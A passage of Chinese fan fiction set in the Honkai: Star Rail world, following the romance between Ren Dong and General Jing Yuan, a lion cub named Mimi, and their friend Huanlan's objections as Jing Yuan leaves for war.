不用忍冬叫他,很快就有人上门寻景元了,寻他去处理现下罗浮上的事务。
在来的云骑骁卫瞳孔地震的眼神中,景元一脸恍然不知的顶着那带蝴蝶结的低马尾走上了罗浮街头,留下身后一脸复杂的忍冬。
他绝对知道,但,脸皮好厚啊……在下属那种眼神面前都可以若无其事吗?真是个狠人。
但,这也更突显景元对她的特殊了。
不过,据玉兆上相关帖子的总结来说,人生三大错觉,感觉突然要有钱了、自己突然变聪明了,还有就是那人绝对喜欢自己。
她值得喜欢吗?
在忍冬自己看来是值得的。毕竟说实在的,她的脸确实不错,能力也还行,钱……姥姥留给她的钱够她躺平一辈子了。但这些是对普通人来说的,景元不是普通人。
啪!忍冬双手拍了一下脸颊,瞬间红红的:“所以我的脸皮也被影响着变厚了?”
“那必是没有的。”焕蓝的声音难得在她家里响起,忍冬向门口望去,就见她已经推门进来了。
但她一进来就以一种很奇怪的眼神上下扫了她一圈,然后头一转,定在了小院的左边围墙上。
“嗯?焕蓝,你来了,看什么呢?”忍冬也望向那一堵平平无奇的围墙,只见上面还残余着些许青苔的绿意,除此之外,就只有一块垒一块的青砖了。
“看居心不良的黑心肝。”焕蓝回答说,眼神也转了回来,但那个恨铁不成钢啊:“你啊你~居然还真吃那家伙的颜不成?如今我可没有表姐带你避祸了,你悠着点吧!”
“啊、啊?避什么祸?我没惹事儿啊?回来之后我都没出过门!”忍冬的脑子一时转不过来,也因为大约是几十年前随口说的话了,她已经记不清了。
焕蓝看她一副脑子残缺的美感,感觉更不靠谱了。唰地跑过来坐到了景元原来坐的椅子上,双手不带停歇地抓起忍冬的双手,一脸认真地直视着她说:“旁边住的是景元那个家伙对吧?你不用忽悠我!我有眼睛!当初在学宫的时候我就说那家伙一直在初等部鬼鬼祟祟的,那时你也在学宫读书,他对你图谋不轨!!”
忍冬眼尾抽搐地看着信誓旦旦推导出这番论调的焕蓝,感觉自己封印了一段时间的毒舌之魂就要破土而出了。
她用力把手抽了出来,啪地摸上焕蓝略显神经质的脸蛋,忧心忡忡地问:“焕蓝,你是悲伤过度,脑子已经被丧尸吃掉了吗?这前言后语有什么逻辑性吗?还是你有证据?不要因为讨厌景元就乱拉姻缘线,我跟他好歹是领居,又是相处过的同僚,你这样让我之后很难自然的面对他啊。”
“你不用自然!!用最嫌弃的脸就够了!!”焕蓝强词夺理振臂高呼。
看起来比以前还讨厌景元了呢……
忍冬手扶住额头叹了口气,不再跟她纠缠这个话题,转而问她:“来的时候吃饭了吗?没吃的话我连你的做一份。”
“没吃,想吃蛋包饭。”焕蓝老实摇头,瞬间被腹中饥饿提醒,瘫软在了摇椅上。
“你还点上单了……既然如此,那你点两杯奶茶外卖过来吧,我去做饭。”忍冬说着起身,吩咐了焕蓝一句,就走到了小院一边的厨房内,老式柴灶烟气寥寥,其中的忍冬一副手脚麻利的模样。
焕蓝忍不住用自己的玉兆咔嚓拍了好几张照片,仔细欣赏了好一会儿。但在退出去点奶茶的时候,就好像灵光一闪一样,她的大脑里诞生了一个绝妙的想法。
发给景元看!!!
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忍冬给她做饭吃,他没有!!!
就像人的大脑上头的时候会支配手脚干出点事后后悔的蠢事一样,现在的焕蓝也干了。她把刚才拍的照片,忍冬在烟气中一副朦胧低眸的温柔美人样照片单发给了景元,并在脑子被奶茶占据的当下满足退了出来,没有及时撤回。
所以当她吃上饭喝着奶茶想起的时候,点进与景元的聊天对话框,她看见,景元发了一句话【拍的不错,收藏了。】
“啊!!”焕蓝嘴里叼着的筷子啪嗒一下落了地,眼睛瞬间红了,当然,不是要哭了,是肉眼可见仇恨的红了:“该死的、老谋深算的景元!!他刚才一定是控制我的脑子了!!”
坐在她对面唰着八卦的忍冬闻言,探头看了一眼,一脸了然地又坐了回去:“脑子应该是没控制的,但你脑子确实不如他,别挑衅了啊?快吃饭,吃完我们去长乐天听评书,顺带去购物。难得有心情出来,就别跟景元死磕了。”
“是啊……可恶的景元、可恶的表姐,她那样出众的人,怎么、怎么就那么死掉了呢?呜……丹枫转生出的那个孩子还是个持明!谁不知道持明内部派系根生,这件事本来就有那些龙师的手段在其中!那个以表姐为起点的孩子此后出生都得在那些家伙的看管之下,景元都不管的!”
焕蓝垂着头,脑袋上的狐耳耷拉着,不断有滴落的水珠砸在桌面上。
明明是个比她还大的人,居然在她面前像个孩子一样委屈地哭着。
忍冬起身坐到了她身边,伸手抱住了焕蓝的脑袋,把她塞到了自己怀里,轻声劝慰说:“焕蓝,这不是你的错,更不是景元的错。至于持明的情况,我们都知道无法明面上干涉。仙舟太大了,历史也太久了,它就像棵盘根错节的古木,不论是多明智的人接手,都只能在维护的情况下温和改善,因为它坚固的同时也脆弱,脆弱到一旦生变,将预先落到民众身上。”
“我知道你清楚这些,但我不太会宽慰人,只能把这些老生常谈的内容一说再说。毕竟,这不是景元一个人的仙舟,也是你的,我的……我们都希望它如常青树,年年新叶萌生,年年一片向好,但你也知道,不可能。光影相伴相生,白珩他们的出现是光,但让他们死去的那一刻是影,是人心的影。”
“去做你该做的,喜欢做的,引领仙舟人的思想,让这人心的影成为一种忌讳,砍断它狂妄的四肢,划清它肆意的范围。你办书刊,开书阁并不光是为了自己的喜好不是吗?你也想为更多人带来快乐,带来坚持的希望。”
“焕蓝,你也跟白珩他们一样是出现的光啊。”
*
枯木生新芽,老树铸繁花,前人照来路,后者寻新途,岁月悄然逝,皆为史中书。
又是仙舟一年过,师父、应星大哥,你们又在哪里呢?
景元收回望向天宇的视线,垂眼落到了手中执着的白玉棋子上,轻笑一声,便把它丢回了棋篓中,拿起了摸鱼的玉兆,点开了一篇作者为一株药材的网上言情小说,津津有味地看了起来。
“哎呀,看来相关知识又进步了呢~”他看到心旌摇曳处感叹道。
而此时在家安慰焕蓝的忍冬却浑身一颤,打了个冷激灵。
9. 咪咪
那天送走焕蓝之后,忍冬自己倒被带着又心气不顺了起来。
在景元溜溜达达推开她的家门,抱着一只雪白的小狮子进来的时候依然如此,软趴趴歪倒在摇椅上。
忍冬眼皮轻轻一掀,睨了那只蓝眼白狮崽一眼,略带几分探寻看向了抱着狮崽的景元。
作为一个仙舟闻名的笑面虎,景元笑意吟吟地捏起小狮子的爪子,向忍冬挥舞起来,嘴里发出了喵喵的叫声。
忍冬眼睛眨了眨,又看了看他怀里的猫科,确实是狮子来着……
“你要指狮为猫?还是你那颗猫咪脑袋确实昏了头,眼神开始昏聩了?”
少女的声音清亮,又带着几分懒洋洋,尾音就像他怀里软绵动物拥有的爪子一样,在心里勾起了几分涟漪。
景元学猫叫的动作一愣,把狮崽举到眼前,不可置信地打量着说:“不会吧?那店家确实说是狸奴啊?”
忍冬无奈地叹气,强撑着支起腰肢,把手搭上了狮崽的四肢,一番摸摸捏捏,笃定地对他说:“是狮子。你被骗了。”
“啊呀……”景元抱着小狮子怔愣了一会儿,带着几分遗憾对忍冬说:“本来还想给它取名咪咪呢,怎么是只小狮子啊……”
忍冬确定完又软软地倒了回去,有气无力地吐槽道:“狮子又不是不能叫咪咪,只是你刚把它买到手吧?现在回去找店家估计还来得及,让他真的给你搞一只猫咪回来。”
“这就是问题啊……”景元摇头晃脑的,抱住小狮子躺到了忍冬身旁已经习惯性摆放的另一张摇椅上,悠悠地说:“店家对我说这小狮子是他最后的货物了,一把它交给我,就当着我的面打了星槎,往流云渡那边去了,现下估计都已经在离开罗浮的路上了。”
忍冬眯着眼,耳朵却仔细地听着景元说话,闻言懒懒地评价了一句:“嗯……那就只能养着了。不过记得去地衡司报备一下,让那家伙下次进不来。”
“嗷~”小狮子乖乖缩在景元怀里,在这个时候插嘴叫了一句。
景元伸手戳了它的嘴巴一下,笑着说:“要是早这么叫,我说不定还能起点疑心。小家伙,以后得跟我们生活在一起了~可别挑食哦~”
“它不挑食,要是你再弱一点,它甚至能把你当食。”忍冬指尖轻点着扶手,一派冷淡地毒舌。
“心情不好?”景元问着,把手中的小狮子塞到了忍冬怀里,头毫无顾忌地凑了过来,眼睛金灿灿地直视着她。
忍冬略微不适地别开眼,控制住自己想往后缩的身体,冷淡地说:“没有。你靠太近了。”
“嗯,心情不好啊……”但算得上心思敏锐的景元却在这个时候不听人话,含着笑意说了这一句,连忍冬隐晦谴责想让他后退的话也忽略了。
……不,是听到了当没听到吧。
小狮子尚还算得上乖巧,但也张牙舞爪地对忍冬腰间的鞭子、手腕半垂的衣袖、和落在胸前的长发连抓带挠的不老实。
面前,还有个故意凑得很近,问她心情的心眼黢黑家伙。
忍冬眉眼间闪过一丝试图隐忍下来的痕迹,但又在瞬间爆发了。从小狮子腋下抱起它,一把盖到了眼神灼灼的景元脸上,阴阴不测地说:“你再耳间生风,当心我真让你生风一阵!”
本性的暴露本来应该让忍冬心里不安的,但大约是面前笑嘻嘻的某人侵略她的空间太过了,她已经对他没有了太多抵抗。
所以,虽然在话出口时就意识到了,但忍冬脑子里想法转悠了一圈,还是决定不改态度。
他那么过分!她都那么长时间没赶他出去,她还不能生气了?!
少女的瞳孔瞪得圆鼓鼓的,清透的碧色显出主人的勃勃生机,由于眼力很好,那颗红色小痣在别有所图的人眼里更显得显眼非常。
非常漂亮,想亲一亲……
景元怔愣的金眸回过神来,歉疚开口:“抱歉抱歉~下次不会了~只是想逗一逗你嘛~”
忍冬不为所动,细白的手腕抓着摇椅扶手,直起上半身看着他说:“那换我下次逗你吧!毕竟……”
忍冬眼睛带着点泄愤的怒意上下戏谑打量了景元号称非常吸引人的胸围和长白发,带着点流氓意味说道:“景元将军可算得上罗浮上著名一景来着。”
“嗯?”景元把怀里的小狮子放到地面上,宽大的手掌自然地顺着忍冬的视线放在了胸脯上,笑看着她歪歪头:“想摸?可……”
“不可以!!”忍冬抢白道,那一瞬间心绪的起伏就跟过山车一般。她不可置信地看着面前的景元,震惊地呢喃道:“不、不愧是神策将军,有、有一手……”
这样就可以平常地把她的调戏变成朋友间的打闹了,是吧?!论脸皮,她,输了……
忍冬的情绪再次低落了下来,连黑顺的长发都有些肉眼可见的耷拉。
然后,手被牵住了。
忍冬微凉的手掌被一双骨节分明的大手攥在手心里,透过相贴的肌肤,热量源源不断地传导过来。
约莫是因为女孩子的原因吧,忍冬感到抓着自己的掌心粗糙地刮蹭着肌肤,带来一阵细微的痒意。
她抬眼望向动手动脚,见她看过来也没有丝毫心虚的人,问:“故意的?”
“嗯,故意的。”
“你莫不是想玩我?那你绝对死定了!就算你是仙舟将军也没用!”
“嗯……就不能是喜欢你吗?”景元困惑低眉,脚边小狮子嗷嗷叫唤着。
“喜欢?作为长生种,仙舟人的喜欢可不值钱。更别说你这人我初见时就看出是个坏心眼的,你喜欢我?我怎么那么不信呢?!要说我见色起意还差不多!”忍冬语气激烈地想抽回手,但就算景元不以武力见长,也是专门练过武的,跟忍冬这种纯后勤出来的比可绰绰有余。
所以,手,根本抽不回来。虽然他也没有乱摸吧……
“那你有见色起意吗?这对我很重要。”景元感受着手中挣扎的双手,笑眯眯的脸蛋对着忍冬,随意中带着认真的真心。
“有又怎么样?!见色起意多正常?!我都没想下手来着!”在忍冬听来,景元现在的一番话大抵是察觉出她的心思,在警告她。
但真的大可不必啊!!她又不是什么法制咖!不会真的上手的!……顶多,写点披皮同
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人文,这不犯法吧?!
忍冬瞳孔一阵一阵收缩着,想到这里,心里的郁气转变成了几分真切的怒意,感觉腰间的鞭子真的在蠢蠢欲动了。
“嗯,可以下手,我一直在等你下手。”
“景元你不要……额、什么东西?”在忍冬忍无可忍,打算无须再忍的时候,她的耳朵好像幻听了,居然听见面前这个黑心肝的说,他在等她下手!下手什么?见色起意、动手动脚、花前月下……锒铛入狱?
忍冬神色涣散,喃喃自语:“天呐,我的情绪居然被影响这么大吗?都开始影响生理了,之后找人看看耳朵吧……”
“忍冬,我喜欢你,所以,可以对我动手动脚,见色起意。倒不如说,我一直在等你对我动手动脚。”
景元作为罗浮云骑骁卫的统领将军,虽以智谋之名闻名仙舟,但他作为武将,体格还是对得起这个词的。
白发将军不知什么时候站在了忍冬身前,上半身倾向她,眼神灼热逼人,一身银甲折射着阳光,闪闪发光。
他的眼睛也在闪闪发光,在期待着一个能贴合心意的答案。
但,忍冬尚还不明白。
她奋力把手掌抽了出来,神色彻底沉静认真了起来。
她把景元往后推攘了一步,站起了身,跟景元的个头只差半头的身高直挺挺的,没有半分谦卑。
或者说,她打心眼里就没怎么把仙舟将军这个身份看在眼里。
“我确实挺喜欢你的皮相的,但这并不代表我喜欢你,景元。你希望从我这里得到什么答案呢?”
忍冬长大后的气质一直像一阵暖湿的雾,你能感受到她,却不能真切的拥有她。这一刻,她与世界明晰的隔阂显露了出来,带着几分倔强,和几分不肯妥协的坚持,问这个试图跨越这条线,踏入这场雾的人:“你能得到什么呢?”
“我希望你能看看我,最好只看我。”景元有很多种办法把忍冬的问题漂亮的敷衍过去,但他最终还是说出了自己内心最真切的声音。
因为,雾是抓不住的,你只能等待她愿意接纳你。所以,不能欺骗。
大约有祈愿的人合该付出更多,毕竟是他想要特别的对待,那么,他就得接受这无端妄念中冰冷漫长的前路,以及可能不会结果的努力。
“只是看着?我明白了。那么,如果结果不如人意,也请好聚好散吧。”忍冬同意了,毕竟以她现在的人生长度来说,景元确实算得上现在最特殊的人。那么,只是看着他,她能做到。
“好。”景元也同意了。
话音落地,院子寂静无声,只有不通人性的小狮子扒拉着景元的脚踝,嗷嗷叫唤着食物。它不懂主人在身后紧捏的拳头,也不懂少女眉眼间带着游移的落点,它只知道,之后,这个小院也是它的活动地盘。
而景元的攻心之旅,也只是掀开了一角最细微的帷幕。
长生种岁月漫长,所以情绪的反应时间也是格外漫长,他有很长的时间去跟忍冬纠缠,他是特殊的,她,对他也是特殊的。
一眼衷情的花,总比路边清脆的草叶更能博得心脏的跳动,不是吗?
10. 午休时间
就如忍冬承诺的那样,她一直在看着景元。
但……
“你那般悠闲吗?”忍冬拿着玉兆的手一顿,偏头看着一旁有闲情一块一块喂咪咪吃肉的景元,一脸忍无可忍。
“已经三天了吧?!三天!!你天天来我这里报到,你都不用处理事务的吗?”
“还是要的,只是我也算得上将军,什么事都要将军处理,那还要下属干什么?”景元理直气壮地回道,手捏着一块血红的肉块吊在咪咪头上晃着。
“那你没有其他朋友吗?!去找他们玩啊!”忍冬对于全天候、不停歇在她面前晃悠的景元实在是无福消受,只想赶紧把人赶走,暂时清静一会儿。
“嗯……这不是刚说开嘛~想让忍冬你看到我的诚意~”
“看到了看到了,你出去玩吧,带上咪咪!”忍冬走到景元身边,一把捞起小狮子,一手推着景元往外走,不耐烦极了。
走到门口之后,把咪咪小狮子往景元怀里一塞,大门便这般啪的一声关上了。
“我很烦吗?”景元低头问呆懵的咪咪,但小家伙才听不懂呢,只是懵懵地盯着景元的眼睛,一脸天然。
“好吧,咪咪,我们去哪里玩一会儿呢?再去给你买点肉食吧!买完就可以回来了。只希望到时候忍冬不要那么残忍,可以给我们开开门~”
景元抱着小狮子渐渐走出这片居民区的巷口,金光灿灿的背影显得轻松快意,没有半分被赶走的落寞。
而待在家里的忍冬,舍弃了玉兆,开启了疯狂打字时代。
大约她是多愁善感型的女子吧,对于情感描写的细腻让忍冬的笔名“一株药材”在玉兆上的小说网站有了一点儿声响,就这一点儿声响,让孤僻的忍冬抓住了。
人总会在失去锚点时期望抓住点什么,忍冬也不例外。
在这失去姥姥的仙舟罗浮上,她其实并没有强烈想要待下去的理由。
焕蓝也好,景元也罢,他们只能算是忍冬很喜欢的人,但并不能成为她继续留在这里的锚点。
来到罗浮是因为母亲死亡,父亲抛弃她追随母亲而去,幼小的她没有选择,如果不想死去,那就只能来罗浮投靠姥姥。
但现在她长大了,没有依靠其他人的需求了。那么,什么会成为她继续向前的目标呢?
是小说啊……
忍冬是个孤僻的人,不喜欢合群的人,她很漂亮,很聪明,但这些优点都没办法让其他人忽视她冷漠的态度。所以,她成为了喜欢独处的人。
小说,是难得能让她独处,又能带给她成就感的对象。
更别说忍冬唯一的朋友,焕蓝也在玉兆上开办了一个小说网站。
她现在的流量密码就是刚赶出去的家伙,景元!一个仙舟喜闻乐见的白毛!
【将军收养了一只雪狮子,取名踏浪雪狮子,小名咪咪……他实在喜爱这只小狮子,天天把她带在身边,然后一天,狮子变成了一位美貌少女……】
“天降老婆、兽耳娘、景元……OK,特点集齐!发送!”
忍冬默默抬眼,手指揉捏着鼻梁,一脸筋疲力尽的枯耗模样。
她知道她的良心已经欠费了,但生活就是如此的无奈,她不写,总有其他人写。与其让别人编排,忍冬觉得,还不如她自己来。
就是……“马甲得捂住了,不能让景元和他那些粉丝发现了。”
不然……她会被锤吧。
“砰砰。”敲门声不出预料的在她解决完事之后响起了,不用猜,是景元带着咪咪回来了。
忍冬边走边甩着酸涩的手指,一边毫无顾忌地打开了门。
但门外不是带着咪咪逛了一圈回来的景元,而是……一位已经堕入魔阴身的云骑。
手掌唰地抽出腰间红鞭,在对方扑过来之前便快速挥舞着扑向了他。同时,紫色毒雾也满溢了出来。
忍冬知道这些丰饶孽物想逼她用出什么,但她才不会顺应那些家伙的意愿。只用毒素,便也足够了。
等景元带着咪咪回来时,刚好赶上他安排负责这里的云骑过来带走那位丰饶孽物。
景元理智知道忍冬没事,但已经得到准许的情绪却不听从理智的指挥。心脏瞬间拉紧,快速地走进了忍冬家的小院子。
“忍冬!”景元声调紧绷,尾音难得有些高扬,他紧抱着不做声的咪咪,一进屋内,眼神就四处搜寻着。
忍冬闻声从屋内迈步走出,歪头疑惑地看着他:“你怎么了?声音有点怪哦。”
景元的胸口不动声色地松懈了下来,回神的理智让他摇头晃脑直叹气。
他回头把门关上,把咪咪放到地上玩耍,然后,直直向忍冬走了过去。
“嗯?”忍冬扶着门框,穿着藏青色的旗袍,后脑别着一弯红色的木质发梳,披散的黑发灵动地轻摆了摆。
被抱住了。
熟悉又陌生的热气扑洒到脸上,熏腾起几分烧脸的热意,略微克制的禁锢感,轻压在头顶的硬质骨节,一切的一切,都让忍冬眼前怔忪。
忍冬回神,身体反抗性地动弹了几下。但瞬间,克制禁锢住她的臂弯切实落到了她的腰间,滚烫的他者体温激起了一片敏感的红热。
“别动,就抱一会儿。”景元落于耳际的嗓音低哑,带着几分破碎,听起来……很可怜。
但神策将军景元会有这种情绪吗?她不信。
不过……
抱就抱吧,反正她不吃亏~
说一会儿就一会儿,景元很快收回了手。等忍冬抬头看去,又重见到了那一脸笑盈盈。
忍冬眼神默默扫视了一圈,从他下弯的眼尾看到他上翘的唇角,一寸一寸扫过,一寸一寸打量,跟蚁类寻觅食物一样,对着方寸之地极尽所能。
景元脸上的笑意隐隐有几分溃散,在忍冬的视线下,他唇侧细微的抽搐了几下,眉头皱了起来:“忍冬?”
“不笑了?”忍冬反问。
“我笑得不好看吗?”景元脸上的笑撤下了,弯起的金眸显露了出来,略带黯然地询问道。
“好看,但太假了。你还记得跟我认识多久了吗?别想用敷衍其他人的那一套敷衍我。”忍冬不明白景元情绪的变动,但不代表她看不出来。
在他彻底不遮掩之后,她很轻易就发现了他的异常。
……都抱上来了,再发现不了就多少有点眼瘸了。
“你怎么了?”忍冬问。
“我生气后怕。”
“生气后怕?因为那个丰饶孽物?”忍冬诧异。
“嗯。以前也很担心,但那时表露出来多少有点过界了。”
景元如初入学宫一般,乖乖回答着忍冬的提问,低垂着头看她,眼眸湿漉漉的,一副乖崽模样。
“那现在呢?你明知道我不会有事,还特意抱上来,是想让我
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知道,你担心我?”
忍冬知道自己这幅追问的嘴脸很不讨喜,但她又需要确切的回答。因为,那是她安全感的来源。
她必须操控所有人生中的意外!
“嗯,我想让你知道,我会担心你,也会待在你回头看得见的任何地方。你不用怕我逃离你的视线。”
一问一答,都是双方试探的爪牙。一方问着是否可以再接近,一方观察着是否别有居心。
“你们……是在飙戏?”焕蓝定居在离忍冬家不远的院落,听闻这里的热闹,快速赶了过来。
然后赶上了这番不论从那里吐槽都很有槽点的现场直播。
忍冬看向焕蓝,一脸默然。景元也看了过去,笑脸重回,彬彬有礼地暗横了焕蓝一眼。
“你你你……!”焕蓝抬手指着景元的鼻尖,不可置信地转头看向忍冬,一脸你看他的表情。
“嗷呜~”焕蓝小腿一重,还没反应过来,景元养的那只雪狮崽就上嘴含住了她的小腿,啃啃啃~
托仙舟体质的福,皮都没破……
但焕蓝现在没空指着景元了。
她快速提起小腿摇晃,想把这只叫咪咪的狮崽摇落下去。但狮崽虽小,牙却坚韧,牢牢挂在了她白色的腿袜上。
“景!元!管好你的狮子!!”无奈之下,焕蓝把炮火对准了景元,忍冬暗中提起的心稍稍落了下来。
死道友不死贫道,她忘记跟焕蓝说景元的事了,为了自己的人身和名誉安全,就让景元去堵炮口吧~
但今夕的景元可不是以往没名没分必须憋着的景元了,狂妄的他说:“可不只是我的咪咪,还是忍冬的。你可不能顾此失彼,只看得见我的坏影响。”
“咪咪?什么破名字!它是狮子吧?!等等……‘还是忍冬的’?!!你个黑心肝的,你果然对我家美丽可爱的忍冬下手了是吧?!我早就看出你的狼子野心了,果然不愧是老腊肉!脸皮就是厚!忍冬多么青春靓丽,你个老白菜梆子你配个三巡镝的冰糖葫芦!!!”
……哇啊,骂的好脏……
忍冬光听着都觉得自己的羞耻心就要让她即死了,更别说其实大不了她几岁的景元还是被攻击对象……
“焕蓝啊,你能别生气像挑火吗……”忍冬无力地出声,抬手就打算给她物理闭麦。
但景元在她抬起手时一手捞住了她的腰身,就这么揽着她,笑睨着焕蓝:“嗯?焕蓝小姐对我的年龄有指教?某怎不知,焕蓝小姐何时研究出岁月停滞器了?”
焕蓝,跟景元同届的学宫毕业生,以狐人的岁数和仙舟人的年龄来算,大约……焕蓝还大一点。
“至于忍冬……男未婚女未嫁的,我追求她有什么问题吗?还是说……喜风流八卦的焕蓝小姐也思春了?”
这位,嘴也很毒。
“啊啊啊!!该死的景元,几十年过去你嘴居然还是那么臭!白亏罗浮那些年轻小辈瞎了眼,居然还以为你是什么朗月君子?!还君子?我呸!你个觊觎我漂亮朋友的无耻之徒!我就说你这人人品不行!!!我不同意!!!”
焕蓝宛如被踩了尾巴,上蹿下跳控诉景元,连同他幼时【试儿】抓刀剑都歪曲成气量狭小,报复心重。
忍冬夹在这两人中间,额角不断滑落冷汗,身体被扯来扯去,就像一个破布娃娃。
啊……天好绿,云好蓝,世界,有时候也可以破灭一瞬的……
11. 离别
好朋友这个赛道跟爱情差不多,充满了独占欲跟分享欲。
所以,当焕蓝发现忍冬瞒了她这么一件大事之后,果断开始赌气。
“讲点道理好不好?之前不是想着大家都因为那件事不好过嘛?你不要无理取闹。”
忍冬试图理智开解焕蓝,但感情嘛……是不讲道理的。
她的应对只换来焕蓝不可置信的一句:“你站景元那边?!”
“不不!站你这边……”忍冬无奈给了一旁喂小狮子的景元一个无可奈何的眼神,然后……果断开始拉偏架。
毕竟、那个,焕蓝确实是她最好的朋友……但景元还没升级呢……
更何况,这件事本质是这两人自小积攒的纠葛导致的,跟她,只能说是导火线问题!别想甩到她头上!
“焕蓝,你失去了白珩,忍冬同样失去了亲人。那时大家都沉浸在战争的后韵中,我恰巧跟忍冬熟识起来,想追求她,这有何问题?”
“问题?!有问题!别说得那么冠冕堂皇的!你如果没动心思,怎么会在离开战场之后还会跟忍冬有交集?!我看不懂你,我还不了解忍冬了?!她就不是一个会主动去结交你的人!”
焕蓝理智明白自己不该介入忍冬的感情,但为什么……为什么要是景元呢?
他就不是一个会在忍冬想结束时轻松放手的人!
“云上五骁,名声虽大,可你们几个最开始不过是几个仙舟怪胎的集合。不合群又能力强,你让我怎么放心?!”
隐在舌根没说出口的话,在景元一脸的明晰和诚挚中,焕蓝破防了。
她怒气冲冲来,又怒气冲冲跑走了。
走时,还留下了一句:“总之!我是不会妥协的!忍冬你也是!”
“啊……”忍冬愣愣地看着焕蓝跑出门的背影,伸出的手凝在半空:“我还想问她怎么来了呢……”
景元手臂虚揽住忍冬的腰肢,低头靠上她的肩,幽幽叹气:“忍冬小姐~不关心关心突遭此难的我吗?”
“我好伤心的~说什么不安好心~在下的心不一直很明显吗……”
景元渐长的额发刮蹭着忍冬的脖子,呼出的热气也熏蒸着她的皮肤。
忍冬耳朵深处无端涌起几分难耐的痒意,扎着脖子的头发也存在感鲜明。
她略偏头,一脸无辜:“关心什么,你不是跟焕蓝自小认识吗?有我什么事?”
“唉~是在下自取其辱了,但以后,我会让你偏向我的。”
*
悠闲岁月悠悠而逝,一场突发的战事让景元温水煮青蛙的打算暂时停歇了下来。
忍冬接到消息后,带着体型已经长成的咪咪等在了景元家门口。
今天又是一个好天,阳光灿烂,白云悠悠,跟当初他们奔赴前线时一样,一片晴朗。
景元身后跟着两个云骑走了过来,龙腾虎步,身姿挺拔,成熟的身影跟她当初认识的那个意气风发的少年渐渐重合了起来。
她迎了上去,把手中准备好的药物塞到了他手里:“我自己研发的魔阴身抑制药,功效不定,还有一些强效止血伤药,你看着用。不用也没关系,只是,要小心……”
忍冬默默的跟景元眼神对视,无言之间,这些年的相处已经让景元知道了她的未尽之语:“我会小心的,你在罗浮也要注意保全自己。”
“好。”
景元蹲下身,眼神温和地看着咪咪,伸手抚摸着它丰厚的雪白鬃毛:“咪咪,踏浪~要保护好妈妈哦~我很快回来。”
忍冬欲言又止,但还是顾虑着他将要上战场,忍下了反驳。
但景元含笑抬眸看着她时却说:“踏浪的食费你也给了不少,平时也抽时间陪它玩,实在算得上它负责的好妈妈了~”
“也行吧……”忍冬看了趴在脚边美貌的蓝眼雪狮子一眼,不得不赞同景元的话。
实在是美貌……
景元起身,一股常年饮茶而沾染上的茶香带着体温的热气侵袭而来,她浅浅抬眸,看着他含笑的眼尾,听他说:“我会回来的。”
真的,实在是美貌啊……
“等你回来……”忍冬吞下了将要脱口而出的话,一脸懊丧。
“我一定会回来的,别抛下我,忍冬。”景元好似了解她吞咽下的话,坚定地又重复了一遍。
“暂时不会,但如果你死了,一段时间后就会了。”
“那样最好。我知道我很贪心,但别让我真的束缚住你。”
忍冬伸手抱住他,绕过他的手臂,以一种笨拙的姿势把他笼在了怀里:“没关系,现在的我很喜欢你,你可以过分一点。”
虽然比起你,我更爱自己……
“再见,景元。”
“再见。”
忍冬手按着起身想追过去的咪咪,默默看着景元的背影消失在转角。
她脸上的表情说是注视离开的爱人,不如说像看着自己较为喜爱的玩具。
话语是有欺骗性的,它可以真诚,也可以虚幻,但忍冬保证,她确实很喜欢景元,只不过夹杂一种恶劣的凌虐欲。
冷静理智的人,还是很符合她审美的外表,总觉得……想看到失控的表情呢……
轻而细微的脚步接近她,在她身边站定:“总觉得,很对不起景元啊……”
“嗯?不是不赞同景元追求我吗?”忍冬偏头问身旁看着她一脸纠结的焕蓝,故作可爱地歪了歪头,想到玉兆上扮可爱的攻略,又快速吐了吐舌尖。
一副连敷衍都算不上的塑料表演。
焕蓝耳朵上的毛发膨起,狐尾也涨大了一圈,眼瞪大,打了个激灵的冷颤:“别演我啊!”
“我肯演你,说明我还是在意你的。不然其他人发现了,我约莫会悄悄套麻袋毒打一顿吧~”忍冬略带点俏皮对焕蓝说。
但焕蓝感受不到俏皮,只觉得自己脑子不好。居然遗忘了忍冬当初刚进学宫的模样!那些意图欺负她,然后被悄摸着尾随鞭打了一顿的家伙,可没有消失在罗浮啊!她可是抽人的大师啊!
“你别想动武去把景元搞到手啊!他现在是罗浮将军,只要这场战事解决得好,他很快能站稳脚跟!而且他家自古是地衡司一系的,就算不算上将军身份,欺负他也不是什么好选择!”
“所以,我不是放弃了嘛~但这是他自己送上门来的耶!还是自愿的!我想想不过分吧?!”
焕蓝看着忍冬容光焕发的强词夺理模样,难得在除了面对白珩和景元之外的人身上感受到了头昏眼胀。
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啊……明明她才是狐狸吧……
“总、总之,你悠着点,别把自己赔进去了!”
焕蓝只能这么说,毕竟,还真是景元那家伙自己白送的……
以焕蓝自幼被对比打击的了解来看,景元一定能看透这个在面前演她的小狐狸,但他还是上钩了,只能说,有此一劫啊……
“赔了也不亏啊~能白嫖罗浮将军,说出去也有面儿啊~”
忍冬大言不惭,但她只在焕蓝和姥姥面前大言不惭。
“走吧~进屋,咪咪饿了。”忍冬招呼焕蓝说。
“不是有大名吗?怎么还叫这难听又大众的小名?”焕蓝跟上忍冬,吐槽道。
“踏雪太正式了,而且好像小时候叫多了,它已经默认自己叫咪咪了。”忍冬随意回嘴道。
*
距景元离开已经过了十年,那场战事还是没有结束的曙光。
“不会又拖成几十年的长线作战吧?”
“有可能。”
“那踏雪怎么办?狮子好像最长也只有二十几年寿命吧?”
“所以,过段时间我打算以民间医用科后勤身份带咪咪过去看看,顺便混个资历。”
“对哦,你要向地衡司申请行医执照来着。”
又过去十年。
“我得走了,咪咪老了,我得带它去看看它爹。”
“好吧,之前是由于战事危险才拦下你,但现在大部分战线都解决了,你去吧。踏雪会高兴的。”
忍冬伸手抚摸着踏雪最近两年略显枯槁的鬃毛,眼神中流露了几分不忍和悲伤:“咪咪,我们去见见你那忙碌的老爹,你乖一点哦~很快的。”
忍冬看着云骑把咪咪装入一个铁笼子中,推入了渡口的后勤飞舰上。
她跟了上去,在查明自己分配到的宿舍之后,果断去运货舱守着年老的咪咪了。
这辆飞舰跟忍冬乘坐过的那艘结构一模一样,名字也一样,只是,它很新。
“是同系列培育出的飞舰,名字一样,序列号不同了。”
沉稳的女声在忍冬背后响起,她转头看去,是一个有点眼熟的仙舟人。
简练的黑发,整洁的后勤医士装扮,要不是一脸沉静,她瞬间会以为玉芝复生。
“是……木药?”忍冬迟疑着吐露出这个从记忆中扒拉出来的名字,眼神中凝满了疑惑。
木药点头:“是我。好久不见,忍冬小姐。”
忍冬仔细打量了她身上的穿着,很快找到了自己想要的信息:“你去了曜青。”
